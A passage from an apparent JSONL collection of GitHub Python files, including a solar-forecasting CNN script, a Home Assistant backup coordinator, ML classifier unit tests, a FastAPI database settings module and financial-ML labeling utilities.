'Target2'], dtype='object')\n\ntrain = train_data.to_numpy()\nprint(train.shape) #(52464, 9)\n\ntrain = train.reshape(-1,48,9)\nprint(train.shape) #(1093, 48, 9)\n\ntime_steps =7\ny_column = 2 \nx,y = split_xy(train,time_steps,y_column)\n# x,y1,y2 = split_xy(train,time_steps,y_column)\n\nx= x[:,:,:,3:]\n#y1 = y1\n#y2 = y2\nprint(x.shape) #(1085, 7, 48, 6)\n#print(y1.shape) #(1085, 2, 48)\n#print(y2.shape) #(1085, 2, 48)\n\ny = y.reshape(-1,96)\n#y1 = y1.reshape(-1,96)\n#y2 = y2.reshape(-1,96)\n\nquantiles = [0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9]\n\ndef Conv2dmodel():\n drop = 0.2\n input1 = Input(shape=(7,48,6))\n dense1 = Conv2D(256, 2, padding='same')(input1)\n dense1=(LeakyReLU(alpha = 0.05))(dense1)\n dense1 = Conv2D(128, 2, padding='same')(dense1)\n dense1=(LeakyReLU(alpha = 0.05))(dense1)\n dense1 = Conv2D(64, 2, padding='same')(dense1)\n dense1=(LeakyReLU(alpha = 0.05))(dense1)\n dense1 = Flatten()(dense1)\n dense1 = Dense(128)(dense1)\n dense1 = Dense(96)(dense1)\n outputs = Dense(96)(dense1)\n\n model = Model(inputs=input1, outputs=outputs)\n\n return model\n\n# model 학습 \n# for i in [0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9]:\n\n# print(\"##### {} model fit start! #####\".format(i))\n\n# q = i\n \n# model = Conv2dmodel()\n# early_stopping = EarlyStopping(monitor = 'val_loss', patience = 30, mode = 'min')\n# cp = ModelCheckpoint('C:/data/modelcheckpoint/solar_0120model1_{}.h5'.format(i), monitor='val_loss', mode='auto', save_best_only=True)\n# lr = ReduceLROnPlateau(monitor='val_loss', patience=10, factor=0.5, verbose=1)\n\n# model.compile(loss=lambda y,f: tilted_loss(q,y,f), optimizer='adam')\n# model.fit(x, y, epochs=1, batch_size=128, validation_split=0.2, callbacks=[early_stopping, cp,lr], verbose=1)\n\n\n#x_test = pd.concat(test_data)\n#print(x_test.shape) #(3888, 7) # 81day 48 hour 8 columns\n#print(x_test.columns) #Index(['Hour', 'TARGET', 'DHI', 'DNI', 'WS', 'RH', 'T'], dtype='object')\n# 모델 trainning\n\"\"\"\nfor q in ([0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9]):\n print(\"##### {} model fit start! #####\".format(q))\n model = Conv2dmodel()\n early_stopping = EarlyStopping(monitor = 'val_loss', patience = 30, mode = 'min')\n cp = ModelCheckpoint('C:/data/modelcheckpoint/solar_0120model2_{}.h5'.format(q), monitor='val_loss', mode='auto', save_best_only=True)\n lr = ReduceLROnPlateau(monitor='val_loss', patience=10, factor=0.5, verbose=1)\n\n model.compile(loss=lambda y,f: tilted_loss(q,y,f), optimizer='adam')\n model.fit(x, y, epochs=100, batch_size=128, validation_split=0.2, callbacks=[early_stopping, cp,lr], verbose=1)\n # model_1_path = 'C:/data/modelcheckpoint/solar_0120model1_{}.h5'.format(q)\n # #print(model_1_path.shape)\n # print(model_1_path) \n \n test_data = []\n for i in range(81):\n file_path = pd.read_csv('C:/data/csv/solar/test/%d.csv'%i) \n file_path.drop(['Hour','Minute','Day'], axis =1, inplace = True)\n test = file_path.to_numpy() \n test = test.reshape(1,7,48,6)\n y_pred = model.predict(test)\n #print(y_pred.shape)\n y_pred = y_pred.reshape(2,48)\n print(y_pred.shape)\n a = []\n for j in range(2):\n b = []\n for k in range(48):\n b.append(y_pred[j,k])\n a.append(b)\n test_data.append(a)\n test_data = np.array(test_data)\n test_data = test_data.reshape(81*2*48,)\n sample.loc[:, \"q_%d\"%q] = test_data\n test_data = pd.DataFrame(test_data)\n test_data.to_csv('C:/data/csv/predict1/0121predict3_{}.csv'.format(q))\n\n#sample= sample.iloc[:,:-1]\n#sample.to_csv('C:/data/csv/solar/sample_submission5.csv', index=False)\n # model_1 = load_model(model_1_path, compile=False)\n # predict_1 = model_1.predict(test)\n # print(predict_1.shape)\n # predict_1 = predict_1.reshape(-1, 1)\n # print(predict_1.shape)\n # predict_1 = pd.DataFrame(predict_1)\n # predict_1.to_csv('C:/data/csv/predict1/0120predict1_{}.csv'.format(i))\n\n\n# print(predict_1)\n# print(predict_1.shape) #(96, 1)\n\npred1 = np.zeros((81*48*2,9))\nfor i , num in enumerate([0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8,0.9]):\n temp = pd.read_csv('C:/data/csv/predict1/0121predict3_'+str(num)+'.csv',index_col=None, header=0)\n #temp = pd.read_csv(file_path)\n temp.drop('Unnamed: 0', axis=1)\n temp = np.array(temp)\n print(temp.shape)\n temp = temp[:,0]\n print(temp.shape)\n #print(temp.tail())\n #temp = temp.reshape(-1)\n print(temp.shape) #(15552,)\n pred1[:,i] = temp\npred1 = pd.DataFrame(pred1)\nprint(pred1.shape)\nprint(pred1)\n\"\"\"\nresult = pd.read_csv('C:/data/csv/predict1/result3.csv')\nsample.iloc[1:, 1:] = result.to_numpy()\n# #sample to numpy\n# submission = pd.concat([pred1])\n# submission[submission.values<0] = 0\n# sample.iloc[:, 1:] = submission.to_numpy()\nsample.to_csv('C:/data/csv/solar/sample/sample_submission3.csv',header=True, index=False)\n\n\n","repo_name":"jsja22/study","sub_path":".vscode/solar_system/solar_0120_1.py","file_name":"solar_0120_1.py","file_ext":"py","file_size_in_byte":7805,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"23373588825","text":"# 배열 원소의 최대값을 구해서 출력하기(원소값을 입력받음)\n\nfrom max import max_of\n\nprint('배열의 최대값을 구합니다.')\nprint('주의: \"end\"를 입력하면 종료합니다.')\n\nnumber = 0\nx = [] # 빈 리스트\n\nwhile True:\n s = input(f'x[{number}]값을 입력하세요: ')\n if s == 'end':\n break\n x.append(int(s)) # 배열의 맨 끝에 추가\n number += 1\n\nprint(f'{number}개를 입력했습니다.')\nprint(f'최대값은 {max_of(x)}입니다.')\n","repo_name":"anifilm/study","sub_path":"learn_data_structures/doit_algorithm_py/chap02/section2/max_of_test_input.py","file_name":"max_of_test_input.py","file_ext":"py","file_size_in_byte":504,"program_lang":"python","lang":"ko","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"18316512571","text":"f=open(\"cali.cal\",\"r\")\n\nv_prev=-1\ni=0\nfor l in f:\n v=float(l)\n if v> 1\n\n return res\n\n\nif __name__ == '__main__':\n\n start1 = time.clock()\n res1 = a_power_n_1(3, 400000)\n end1 = time.clock()\n print('1: Running time: %s Seconds %d' % (end1-start1, res1))\n\n start2 = time.clock()\n res2 = a_power_n_2(3, 400000)\n end2 = time.clock()\n print('2: Running time: %s Seconds %d' % (end2-start2, res2))\n\n start3 = time.clock()\n res3 = a_power_n_3(3, 400000)\n end3 = time.clock()\n print('2: Running time: %s Seconds %d' % (end3-start3, res3))","repo_name":"chen2319/python_knight_dialer","sub_path":"a_power_N.py","file_name":"a_power_N.py","file_ext":"py","file_size_in_byte":1519,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"42307075733","text":"from __future__ import annotations\nfrom threedeebeetree import Point\nfrom ratio import Percentiles\n\n\ndef make_ordering(my_coordinate_list: list[Point]) -> list[Point]:\n \"\"\"\n Sorts a list of points by their x-coordinates.\n\n Args:\n my_coordinate_list: A list of points.\n\n Returns:\n A list of points sorted by their x-coordinates.\n\n Time complexity:\n O(n) in the best case and O(n^2) in the worst case, where n is the number of points in the list.\n \"\"\"\n\n # Check if the list is empty. If it is, return an empty list.\n if not my_coordinate_list:\n return []\n\n # Extract the x-coordinates from the coordinate list.\n coordinate_x = [point[0] for point in my_coordinate_list]\n\n # Create a Percentiles object and add the x-coordinates.\n percentiles = Percentiles()\n for coordinate in coordinate_x:\n percentiles.add_point(coordinate)\n\n # Determine the x-coordinate of the root node.\n if not percentiles.items:\n return []\n\n root_x_values = percentiles.ratio(0, percentiles.items.length)\n if not root_x_values:\n return []\n\n x_root = root_x_values[0]\n\n # Sort the coordinate list based on the x-coordinate of the root node.\n ordered_coordinates = sorted(my_coordinate_list, key=lambda point: abs(point[0] - x_root))\n\n return ordered_coordinates","repo_name":"AbdullaE100/BeeGame","sub_path":"balancing.py","file_name":"balancing.py","file_ext":"py","file_size_in_byte":1343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"3305349464","text":"import time\nfrom vlla import *\n\ndef read_file(name, color):\n contents = open('suits/' + name + '.txt', 'r').read()\n contents = ''.join(contents.split('\\n'))\n return [color if c == '#' else ' ' for c in contents]\n\nc = Canvas()\nspade = read_file('spade', 'B')\nclub = read_file('club', 'B')\nheart = read_file('heart', 'R')\ndiamond = read_file('diamond', 'R')\n\nsuits = [spade, heart, club, diamond]\n\ni = 0\n\ndef set_pixel(row, col, color, intensity):\n intensity *= 2\n intensity = intensity if intensity != 10 else 11\n\n if color == 'B':\n color = Color(0, 0, intensity)\n elif color == 'R':\n color = Color(intensity, 0, 0)\n else:\n color = BLACK\n\n c.set_pixel(row, col, color)\n\ndef display(intensity):\n for row in range(0, HEIGHT):\n for col in range(0, WIDTH):\n set_pixel(row, col, suits[i][row * WIDTH + col], intensity)\n\n c.flush()\n\nwhile True:\n for intensity in range(1, 11):\n display(intensity)\n time.sleep(0.025)\n\n time.sleep(0.1)\n\n for intensity in range(1, 9):\n display(10-intensity)\n time.sleep(0.025)\n\n i = (i+1) % len(suits)\n","repo_name":"beast-2e/vlla","sub_path":"VideoDisplay_24bit/tests/suits.py","file_name":"suits.py","file_ext":"py","file_size_in_byte":1146,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"70306553445","text":"import unittest\nimport Fonctions\n\nclass mytest(unittest.TestCase): \n @classmethod\n def setUpClass(cls): \n #Read the data from the txt document\n Fonctions.process_ckd(\"./chronic_kidney_disease_full.arff\") \n\n @classmethod\n def setUp(self):\n data_ckd = Fonctions.loadtxtmethod(\"./chronic_kidney_disease.txt\")\n data_bank = Fonctions.loadtxtmethod(\"./data_banknote_authentication.txt\")\n self.data1 = Fonctions.pre_processing(data_ckd)\n self.data2 = Fonctions.pre_processing(data_bank)\n \n @classmethod\n def test_logistic(self):\n print(\"The test of logistic regression model for chronic_kidney_disease\")\n Fonctions.test_logistic(self.data1, self.data1.shape[1]-1, 4000, 0.01)\n print(\"The test of logistic regression model for banknote_authentication_dataset\")\n Fonctions.test_logistic(self.data2, self.data2.shape[1]-1, 2500, 0.01)\n \n @classmethod\n def test_decision_tree(self):\n print(\"The test of decision tree model for chronic_kidney_disease\")\n Fonctions.test_decision_tree(self.data1, 20)\n print(\"The test of decision tree model for banknote_authentication_dataset\")\n Fonctions.test_decision_tree(self.data2, 10)\n\n @classmethod\n def test_Gaussian_NB(self):\n print(\"The test of gaussian naive bayes model for chronic_kidney_disease\")\n Fonctions.test_Gaussian_NB(self.data1)\n print(\"The test of gaussian naive bayes model for banknote_authentication_dataset\")\n Fonctions.test_Gaussian_NB(self.data2)\n\n @classmethod\n def test_MLP(self):\n print(\"The test of mlp model for chronic_kidney_disease\")\n Fonctions.testMLP(self.data1, 1000, 0.01)\n print(\"The test of mlp model for banknote_authentication_dataset\")\n Fonctions.testMLP(self.data2, 1000, 0.01)\n\n @classmethod\n def test_SVM(self):\n print(\"The test of SVM model for chronic_kidney_disease\")\n Fonctions.testSVM(self.data1)\n print(\"The test of SVM model for banknote_authentication_dataset\")\n Fonctions.testSVM(self.data2)\n\nif __name__ == '__main__':\n unittest.main(verbosity=2)\n","repo_name":"Zuoyu2524/Development-project-in-Machine-Learning","sub_path":"test_unit.py","file_name":"test_unit.py","file_ext":"py","file_size_in_byte":2023,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"38261840278","text":"from sqlalchemy import create_engine\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import sessionmaker\nfrom fastapi_sqlalchemy import db\nimport os \nfrom dotenv import load_dotenv\nload_dotenv()\nDB_HOSTNAME = os.getenv(\"DB_URL\")\nDB_USER = os.getenv(\"DB_USER\")\nDB_PW = os.getenv(\"DB_PW\")\nDB_PORT = os.getenv(\"DB_PORT\")\nDB_NAME = os.getenv(\"DB_NAME\")\n\n\nMYSQL_DATABASE_URI = \"mysql+pymysql://{}:{}@{}:{}/{}\".format(DB_USER, DB_PW, DB_HOSTNAME, DB_PORT, DB_NAME)\nengine = create_engine(\n MYSQL_DATABASE_URI, echo=True\n)\nSessionLocal = sessionmaker(autocommit=False, autoflush=False, bind=engine)\n\nBase = declarative_base()\n\n\ndef get_db():\n db = SessionLocal()\n try:\n yield db\n finally:\n db.close()\n","repo_name":"Fawad-Malik/admin-api","sub_path":"app/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":748,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"41236181438","text":"from asyncio import CancelledError, Task, create_task, wait, Event\nfrom datetime import timedelta\nfrom threading import Lock\nfrom typing import Dict, List\n\nfrom injector import inject, singleton\n\nfrom backup.config import Config, Setting, CreateOptions, DurationParser\nfrom backup.exceptions import (KnownError, LogicError, NoBackup, PleaseWait,\n UserCancelledError)\nfrom backup.util import GlobalInfo, Backoff, Estimator\nfrom backup.time import Time\nfrom backup.worker import Trigger\nfrom backup.logger import getLogger\nfrom backup.creds.creds import Creds\nfrom .precache import Precache\nfrom .model import BackupSource, Model\nfrom .backups import AbstractBackup, Backup, SOURCE_HA\nfrom random import Random\n\nlogger = getLogger(__name__)\n\n\n@singleton\nclass Coordinator(Trigger):\n @inject\n def __init__(self, model: Model, time: Time, config: Config, global_info: GlobalInfo, estimator: Estimator):\n super().__init__()\n self._model = model\n self._precache: Precache = None\n self._time = time\n self._config = config\n self._lock: Lock = Lock()\n self._global_info: GlobalInfo = global_info\n self._sources: Dict[str, BackupSource] = {\n self._model.source.name(): self._model.source,\n self._model.dest.name(): self._model.dest\n }\n self._backoff = Backoff(initial=0, base=10, max=config.get(Setting.MAX_BACKOFF_SECONDS))\n self._estimator = estimator\n self._busy = False\n self._sync_task: Task = None\n self._sync_start = Event()\n self._sync_wait = Event()\n self._sync_wait.set()\n self._random = Random()\n self._random.seed()\n self._next_sync_offset = self._random.random()\n self._global_info.triggerBackupCooldown(timedelta(minutes=self._config.get(Setting.BACKUP_STARTUP_DELAY_MINUTES)))\n self.trigger()\n\n def saveCreds(self, creds: Creds):\n if not self._model.dest.enabled():\n # Since this is the first time saving credentials (eg the addon was just enabled). Hold off on\n # automatic backups for a few minutes to give the user a little while to figure out whats going on.\n self._global_info.triggerBackupCooldown(timedelta(minutes=self._config.get(Setting.BACKUP_STARTUP_DELAY_MINUTES)))\n\n self._model.dest.saveCreds(creds)\n self._global_info.credsSaved()\n\n def setPrecache(self, precache: Precache):\n self._precache = precache\n\n def name(self):\n return \"Coordinator\"\n\n def enabled(self) -> bool:\n return self._model.enabled()\n\n def isWaitingForStartup(self):\n return self._model.waiting_for_startup\n\n def ignoreStartupDelay(self):\n self._model.ignore_startup_delay = True\n\n async def check(self) -> bool:\n if self._time.now() >= self.nextSyncAttempt():\n self.reset()\n return True\n else:\n return await super().check()\n\n async def sync(self):\n await self._withSoftLock(lambda: self._sync_wrapper())\n\n def isSyncing(self):\n task = self._sync_task\n return task is not None and not task.done()\n\n def isWorkingThroughUpload(self):\n return self.isSyncing() and self._model.isWorkingThroughUpload()\n\n async def waitForSyncToFinish(self):\n task = self._sync_task\n if task is not None:\n await task\n\n async def cancel(self):\n task = self._sync_task\n if task is not None and not task.done():\n task.cancel()\n self.clearCaches()\n await wait([task])\n\n def nextSyncAttempt(self):\n if self._global_info._last_error is not None:\n # we had an error last\n failure = self._global_info._last_failure_time\n if failure is None:\n return self._time.now() - timedelta(minutes=1)\n return failure + timedelta(seconds=self._backoff.peek())\n else:\n scheduled = self._global_info._last_success\n if scheduled is None:\n scheduled = self._time.now() - timedelta(minutes=1)\n else:\n scheduled += timedelta(seconds=self.nextSyncCheckOffset())\n next_backup = self.nextBackupTime()\n if next_backup is None:\n return scheduled\n else:\n return min(self.nextBackupTime(), scheduled)\n\n def nextSyncCheckOffset(self):\n \"\"\"Determines how long we shoudl wait from the last check the refresh the cache of backups from Google Drive and Home Assistant\"\"\"\n # If we always sync MAX_SYNC_INTERVAL_SECONDS secodns after the last\n # check, then the addon in aggregate puts a really high strain on google\n # on every hour and the addon's auth servers need to be provisioned for\n # a big peak, which is epxensive. Instead we add some randomness to the time interval.\n randomness_max = self._config.get(Setting.MAX_SYNC_INTERVAL_SECONDS) * self._config.get(Setting.DEFAULT_SYNC_INTERVAL_VARIATION)\n non_randomness = self._config.get(Setting.MAX_SYNC_INTERVAL_SECONDS) - randomness_max\n\n # The offset should be stable between syncs, which gets controlled by updating _next_sync_offset on each good sync\n return self._next_sync_offset * randomness_max + non_randomness\n\n def nextBackupTime(self, include_pending=True):\n return self._buildModel().nextBackup(self._time.now(), include_pending)\n\n def buildBackupMetrics(self):\n info = {}\n for source in self._sources:\n source_class = self._sources[source]\n source_info = {\n 'backups': 0,\n 'retained': 0,\n 'deletable': 0,\n 'name': source,\n 'title': source_class.title(),\n 'latest': None,\n 'max': source_class.maxCount(),\n 'enabled': source_class.enabled(),\n 'icon': source_class.icon(),\n 'ignored': 0,\n 'detail': source_class.detail()\n }\n size = 0\n ignored_size = 0\n latest = None\n for backup in self.backups():\n data: AbstractBackup = backup.getSource(source)\n if data is None:\n continue\n if data.ignore() and backup.ignore():\n source_info['ignored'] += 1\n if backup.ignore():\n ignored_size += backup.size()\n continue\n source_info['backups'] += 1\n if data.retained():\n source_info['retained'] += 1\n else:\n source_info['deletable'] += 1\n if latest is None or data.date() > latest:\n latest = data.date()\n size += int(data.sizeInt())\n if latest is not None:\n source_info['latest'] = self._time.asRfc3339String(latest)\n source_info['size'] = Estimator.asSizeString(size)\n source_info['ignored_size'] = Estimator.asSizeString(ignored_size)\n free_space = source_class.freeSpace()\n if free_space is not None and source_class.needsSpaceCheck:\n source_info['free_space'] = Estimator.asSizeString(free_space)\n info[source] = source_info\n return info\n\n async def _sync_wrapper(self):\n self._sync_task = create_task(\n self._sync(), name=\"Internal sync worker\")\n await wait([self._sync_task])\n\n async def _sync(self):\n try:\n self._sync_start.set()\n await self._sync_wait.wait()\n logger.info(\"Syncing Backups\")\n self._global_info.sync()\n self._estimator.refresh()\n await self._buildModel().sync(self._time.now())\n self._next_sync_offset = self._random.random()\n self._global_info.success()\n self._backoff.reset()\n self._global_info.setSkipSpaceCheckOnce(False)\n except BaseException as e:\n self.handleError(e)\n finally:\n if self._precache:\n # Any sync should invalidate the precache regardless of the outcome\n # so the next sync uses fresh data\n self.clearCaches()\n self._updateFreshness()\n\n def handleError(self, e):\n if isinstance(e, CancelledError):\n e = UserCancelledError()\n if isinstance(e, KnownError):\n known: KnownError = e\n logger.error(known.message())\n if known.retrySoon():\n self._backoff.backoff(e)\n else:\n self._backoff.maxOut()\n else:\n logger.printException(e)\n self._backoff.backoff(e)\n self._global_info.failed(e)\n\n text = DurationParser().format(timedelta(seconds=self._backoff.peek()))\n logger.info(\"I'll try again in {0}\".format(text))\n\n def backups(self) -> List[Backup]:\n ret = list(self._model.backups.values())\n ret.sort(key=lambda s: s.date())\n return ret\n\n async def uploadBackups(self, slug):\n await self._withSoftLock(lambda: self._uploadBackup(slug))\n\n async def _uploadBackup(self, slug):\n self.clearCaches()\n backup = self._ensureBackup(self._model.dest.name(), slug)\n backup_dest = backup.getSource(self._model.dest.name())\n backup_source = backup.getSource(self._model.source.name())\n if backup_source:\n raise LogicError(\"This backup already exists in Home Assistant\")\n if not backup_dest:\n # Unreachable?\n raise LogicError(\"This backup isn't in Google Drive\")\n created = await self._model.source.save(backup, await self._model.dest.read(backup))\n backup.addSource(created)\n self._updateFreshness()\n\n async def startBackup(self, options: CreateOptions):\n return await self._withSoftLock(lambda: self._startBackup(options))\n\n async def _startBackup(self, options: CreateOptions):\n self.clearCaches()\n model = self._buildModel()\n self._estimator.refresh()\n if model.source.needsSpaceCheck:\n self._estimator.checkSpace(self.backups())\n created = await self._buildModel().source.create(options)\n backup = Backup(created)\n self._model.backups[backup.slug()] = backup\n self._updateFreshness()\n self._estimator.refresh()\n return backup\n\n def getBackup(self, slug):\n return self._ensureBackup(None, slug)\n\n async def download(self, slug):\n self.clearCaches()\n backup = self._ensureBackup(None, slug)\n for source in self._sources.values():\n if not source.enabled():\n continue\n if backup.getSource(source.name()):\n return await source.read(backup)\n raise NoBackup()\n\n async def retain(self, sources: Dict[str, bool], slug: str):\n self.clearCaches()\n for source in sources:\n backup = self._ensureBackup(source, slug)\n await self._ensureSource(source).retain(backup, sources[source])\n self._updateFreshness()\n\n async def note(self, note: str, slug: str):\n self.clearCaches()\n backup = self._ensureBackup(None, slug)\n for source in backup.sources.keys():\n await self._ensureSource(source).note(backup, note)\n\n async def delete(self, sources, slug):\n await self._withSoftLock(lambda: self._delete(sources, slug))\n\n async def ignore(self, slug: str, ignore: bool):\n await self._withSoftLock(lambda: self._ignore(slug, ignore))\n\n async def _delete(self, sources, slug):\n self.clearCaches()\n for source in sources:\n backup = self._ensureBackup(source, slug)\n await self._ensureSource(source).delete(backup)\n if backup.isDeleted():\n del self._model.backups[slug]\n self._updateFreshness()\n\n async def _ignore(self, slug: str, ignore: bool):\n self.clearCaches()\n backup = self._ensureBackup(SOURCE_HA, slug)\n await self._ensureSource(SOURCE_HA).ignore(backup, ignore)\n\n def _ensureBackup(self, source: str = None, slug=None) -> Backup:\n backup = self._buildModel().backups.get(slug)\n if not backup:\n raise NoBackup()\n if not source:\n return backup\n if not source:\n return backup\n if not backup.getSource(source):\n raise NoBackup()\n return backup\n\n def _ensureSource(self, source):\n ret = self._sources.get(source)\n if ret and ret.enabled():\n return ret\n raise LogicError()\n\n def _buildModel(self) -> Model:\n self._model.reinitialize(self._precache)\n return self._model\n\n def _updateFreshness(self):\n purges = self._buildModel().getNextPurges()\n for backup in self._model.backups.values():\n for source in purges:\n if backup.getSource(source):\n backup.updatePurge(source, backup == purges[source])\n\n def clearCaches(self):\n if self._precache:\n self._precache.clear()\n\n async def _withSoftLock(self, callable):\n with self._lock:\n if self._busy:\n raise PleaseWait()\n self._busy = True\n try:\n return await callable()\n finally:\n with self._lock:\n self._busy = False\n","repo_name":"sabeechen/hassio-google-drive-backup","sub_path":"hassio-google-drive-backup/backup/model/coordinator.py","file_name":"coordinator.py","file_ext":"py","file_size_in_byte":13560,"program_lang":"python","lang":"en","doc_type":"code","stars":2613,"dataset":"github-code","pt":"52"} +{"seq_id":"70497944165","text":"# Source: https://github.com/TheRockXu/aifin\n\n\"\"\"\nMajor Functions from Section 1\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nfrom scipy.stats import *\n\n\n\n\ndef get_cumsum_events(g_raw, h):\n \"\"\"\n The CUSUM filter is quality control method, designed to detect a shift in the mean value of a measured quantity away from a target value.\n :param g_raw: raw dataframe indexed with dates\n :param h: the target threhold\n :return: DatetimeIndex when threshold crossed\n \"\"\"\n\n t_events = [] # when threshold h is crossed\n s_pos = 0 # cumulative positive\n s_neg = 0 # cumulative negative\n\n diff = g_raw.diff().dropna() # daily price change\n for i in diff.index:\n # if positive cumulative sum goes below zero,\n # set it to 0. Otherwise, add price change to it.\n s_pos = max(0, s_pos + diff.loc[i])\n # if negative cumulative sum goes above zero, set it to 0\n s_neg = min(0, s_neg + diff.loc[i])\n # if the cumumlative sum crosses the threhold, record the event.\n if s_neg < -h:\n s_neg=0\n t_events.append(i)\n if s_pos > h:\n s_pos = 0\n t_events.append(i)\n return pd.DatetimeIndex(t_events)\n\n\n\ndef get_daily_vol(close, span0=100):\n \"\"\"\n Compute daily volatility at intraday estimation points.\n :param close: dataframe\n :param span0: the span of days\n :return: pandas Series\n \"\"\"\n df0 = close.index.searchsorted(close.index - pd.Timedelta(days=1)) # a list of index\n df0 = df0[df0 > 0]\n df0 = pd.Series(close.index[df0 - 1], index=close.index[close.shape[0] - df0.shape[0]:])\n df0 = close.loc[df0.index] / close.loc[df0.values].values - 1 # daily returns\n df0 = df0.ewm(span=span0).std()\n return df0\n\n\n\n\ndef get_t1(close, t_events, num_days):\n \"\"\"\n For each index in t_events, find the timestamp of the next price bar or immediately after a number of days.\n :param close: raw price dataframe\n :param t_events: pd.Datatime Index\n :param num_days: number of days to for t1\n :return: a pd.Series of dates\n \"\"\"\n # find dates within the close dataframe\n t1 = close.index.searchsorted(t_events + pd.Timedelta(days=num_days))\n t1 = t1[t1 < close.shape[0]]\n t1 = pd.Series(close.index[t1], index=t_events[:t1.shape[0]])\n\n return t1\n\n\ndef apply_ptsl_on_t1(close, events, pt=1, sl=1):\n \"\"\"\n Apply profit taking and stop loss on events dataframe\n :param close: raw price dataframe\n :param events: events that include t1, and trgt for profit taking and stop loss threhold\n :return:\n \"\"\"\n out = events[['t1']].copy(deep=True)\n pt = pt*events['trgt']\n sl = - sl*events['trgt']\n for loc, t1 in events['t1'].iteritems():\n df0 = close[loc:t1] # path prices\n df0 = (df0 / close[loc] - 1) * events.at[loc, 'side']\n out.loc[loc, 'sl'] = df0[df0 < sl[loc]].index.min()\n out.loc[loc, 'pt'] = df0[df0 > pt[loc]].index.min()\n return out\n\n\ndef get_events(close, t_events, trgt, min_ret, t1, side=None, pt_sl=(1,1)):\n \"\"\"\n Find the first barrier touch with triple barrier method\n :param close: raw price\n :param t_events: event dataindex\n :param trgt: volatility threhold for profit taking and stop loss\n :param min_ret: minimum return to label\n :param t1: t1, vertical barrier\n :return: a event dataframe\n \"\"\"\n# Find the first barrier touch\n trgt = trgt.loc[t_events]\n trgt = trgt[trgt > min_ret]\n\n side_ = pd.Series(1., index=trgt.index)\n \n # form events object, apply stop loss on t1\n \n events = pd.concat({'t1':t1, 'trgt':trgt, 'side':side_}, axis=1).dropna(subset=['trgt'])\n \n df0 = apply_ptsl_on_t1(close, events, pt=pt_sl[0], sl=pt_sl[1])\n\n events['t1'] = df0.dropna(how='all').min(axis=1)\n events = events.drop('side', axis=1)\n \n return events\n\n\n\n# Finally we can label the observation\ndef get_bins(events, close):\n\n \"\"\"\n Use the event dataframe produced by get_events to label data\n\n :param events: events dataframe that include t1, trgt\n :param close: raw data\n :return: a labeled data\n \"\"\"\n # 1) prices aligned with events\n \n events_ = events.dropna(subset=['t1'])\n \n px = events_.index.union(events_['t1'].values).drop_duplicates() # get all the dates from both event starts and ends. \n px = close.reindex(px, method='bfill') # reindex close with all the dates of event, meaning to get the price at these dates.\n \n # 2) create out object\n \n out = pd.DataFrame(index=events_.index) # create a df with the index of events\n # find price of at end point of event. find price at beg of event. calculate return\n out['ret'] = px.loc[events_['t1'].values].values / px.loc[events_.index] - 1 \n out['bin'] = np.sign(out['ret'])\n \n return out\n\n\ndef map_num_coevents(close_idx, t1):\n\n \"\"\"\n compute number of concurrent events per bar.\n :param close_idx: data index of price dataframe\n :param t1: vertical barrier\n :return: the amount of events from close_idx and t1\n \"\"\"\n t1 = t1.fillna(close_idx[-1])\n # count events spanning bar\n iloc = close_idx.searchsorted(np.array([t1.index[0], t1.max()]))\n count = pd.Series(0, index=close_idx[iloc[0]:iloc[1] + 1])\n\n for t_in, t_out in t1.iteritems():\n count.loc[t_in:t_out] += 1\n\n return count\n\ndef map_sample_tw(t1, num_co_events):\n \"\"\"\n The average uniquess is the reciprocal of harminoc average of count over the event's lifespan\n\n Use the function below\n\n :param t1: vertical barrier\n :param num_co_events: count for each price\n :return: a pd.Series of weights indexed by t1\n \"\"\"\n wght = pd.Series(index=t1.index)\n for t_in, t_out in t1.iteritems():\n wght.loc[t_in] = (1.0 / num_co_events.loc[t_in:t_out]).mean()\n return wght\n\ndef map_sample_w(t1, num_co_events, close):\n \"\"\"\n Return adjusted weights. It is prefered\n :param t1:\n :param num_co_events:\n :param close:\n :return:\n \"\"\"\n\n ret = np.log(close).diff() # log returns\n wght = pd.Series(index=t1.index)\n for t_in,t_out in t1.iteritems():\n wght.loc[t_in] = (ret.loc[t_in:t_out]/ num_co_events.loc[t_in:t_out]).sum()\n return wght.abs()\n\n\n\n\n\ndef frac_diff(dataframe, d, thres=0.01):\n\n \"\"\"\n Perform Standard Fracdiff - Expanding Window\n :param dataframe:\n :param d:\n :param thres:\n :return:\n \"\"\"\n\n # Get the weights for the longgest series\n\n def get_weights(d, size):\n w = [1.]\n\n for k in range(1, size):\n w_ = -w[-1] / k * (d - k + 1)\n w.append(w_)\n w = np.array(w[::-1]).reshape(-1, 1)\n return w\n w = get_weights(d, dataframe.shape[0])\n\n # Determine initial calcs to be skipped based on weight loss threshold\n w_ = np.cumsum(abs(w))\n w_ /= w_[-1]\n skip = w_[w_ > thres].shape[0]\n\n # Apply weights to values\n df = {}\n series.index.tz = None\n\n for name in dataframe.columns:\n\n series_f = dataframe[[name]].fillna(method='ffill').dropna()\n df_ = pd.Series()\n\n for iloc in range(skip, series_f.shape[0]):\n loc = series_f.index[iloc]\n if not np.isfinite(series.loc[loc, name]):\n continue\n df_[loc] = np.dot(w[-(iloc + 1):, :].T, series_f.loc[:loc])[0, 0]\n df[name] = df_.copy(deep=True)\n df = pd.concat(df, axis=1)\n return df\n\n\n# Chow-Type Dickey-Fuller Test\n\ndef lag_df(df0, lags):\n \"\"\"\n apply lags to dataframe\n :param df0:\n :param lags:\n :return:\n \"\"\"\n df1 = pd.DataFrame()\n\n if isinstance(lags, int):\n lags = range(lags + 1)\n else:\n 